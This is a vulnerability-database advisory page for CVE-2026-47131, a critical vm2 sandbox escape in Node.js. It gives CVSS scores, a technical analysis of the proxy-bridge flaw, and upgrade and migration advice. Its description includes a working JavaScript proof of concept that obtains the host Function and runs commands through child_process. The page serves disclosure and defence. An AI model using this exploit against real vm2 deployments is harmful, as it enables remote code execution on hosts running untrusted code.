Skip to main content

vm2 EUVDEUVD-2026-36441

| CVE-2026-47131 CRITICAL
Improper Control of Dynamically-Managed Code Resources (CWE-913)
2026-05-29 https://github.com/patriksimek/vm2 GHSA-v6mx-mf47-r5wg
Critical
Disputed · 10.0 Vendor: https://github.com/patriksimek/vm2
Share

Severity by source

Sources disagree (Medium–Critical)
Vendor (https://github.com/patriksimek/vm2) PRIMARY
10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Red Hat
4.1 MEDIUM
qualitative

vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.

CVSS VectorVendor: https://github.com/patriksimek/vm2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Source Code Evidence Fetched
May 29, 2026 - 18:17 vuln.today
Analysis Generated
May 29, 2026 - 18:17 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 88 npm packages depend on vm2 (4 direct, 84 indirect)

Ecosystem-wide dependent count for version 3.11.4.

DescriptionCVE.org

Summary

By combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code.

PoC

js
"use strict";

const { VM } = require("vm2");
const vm = new VM();

vm.run(`
  "use strict";

  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");

  async function f() {
    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      setProto.call(getProto.call(e), null);
    }

    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      const HostFunction = e.constructor.constructor;
      new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
    }
  }

  f();
`);

Impact

Sandbox Escape → RCE

AnalysisAI

Sandbox escape in the vm2 Node.js sandbox library (versions <= 3.11.3) allows untrusted JavaScript executed inside a vm2 VM to reach the host realm and achieve arbitrary code execution. By chaining Buffer.call.call indirection with __lookupGetter__/__lookupSetter__ to obtain host Object.prototype.__proto__ accessors and using a WebAssembly.compileStreaming rejection to surface a host TypeError, an attacker severs a host prototype chain, causing the bridge's proto-walk to return the raw host error unwrapped - yielding e.constructor.constructor as host Function and full RCE. Publicly available exploit code exists (advisory ships a working PoC); CVSS is 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Technical ContextAI

vm2 is an npm package that purports to run untrusted JavaScript inside a sandboxed VM by mediating all sandbox→host object access through a Proxy-based bridge in lib/bridge.js. The bridge enforces two invariants: (A) host-realm objects cannot be mutated from sandbox code, and (B) host-realm objects never reach sandbox code unwrapped. This CVE (CWE-913, Improper Control of Dynamically-Managed Code Resources) violates both. The bridge's set/defineProperty/setPrototypeOf proxy traps block direct mutation, but the apply trap creates a second mutation path: invoking a host prototype-mutating intrinsic (Object.prototype.__proto__ setter, Object.setPrototypeOf, Reflect.setPrototypeOf, __defineSetter__/__defineGetter__) as a function with a host object as this performs the mutation inside the intrinsic itself, bypassing all write traps. Once a host prototype chain is severed (e.g., TypeError.prototype.[[Prototype]] set to null), the bridge's proto-walking helpers (thisFromOtherWithFactory, thisFromOtherForThrow, thisEnsureThis) fail to locate the registered host-mapping at the expected level and fall through, returning the raw host value. Per the affected CPE pkg:npm/vm2, only the vm2 package is affected - not Node.js's native vm module or other sandboxes.

RemediationAI

Vendor-released patch: upgrade vm2 to version 3.11.4 or later, which contains the two-layer structural fix in lib/bridge.js per commit 27c525f4615e2b983f122e2bed327d810126f5c8 (https://github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8) and is documented in GHSA-v6mx-mf47-r5wg (https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg). Pin transitive dependencies via npm overrides or yarn resolutions, then run npm ls vm2 to confirm no 3.11.3-or-earlier copies remain. Because vm2's maintainer has publicly recommended migrating away from vm2 after a string of similar escapes, strongly consider replacing vm2 with isolated-vm (separate V8 isolate) or running untrusted JavaScript in a separate process/container/Firecracker microVM where OS-level isolation, not language-level proxies, is the trust boundary. If patching is not immediately possible, the only meaningful compensating control is to stop passing attacker-controlled input to vm2.VM().run() / NodeVM.run() - there is no in-language configuration switch that blocks this class of escape, and source-level denylists for __proto__, __lookupGetter__, Buffer, or WebAssembly are trivially bypassable and will break legitimate code. Where the service can be temporarily degraded, disable the code-evaluation feature entirely until the upgrade lands.

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2015-5688 MEDIUM POC
5.0 Sep 04

Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2014-7192 CRITICAL POC
10.0 Dec 11

Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat

CVE-2013-4450 MEDIUM POC
5.0 Oct 21

The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se

Vendor StatusVendor

Share

EUVD-2026-36441 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy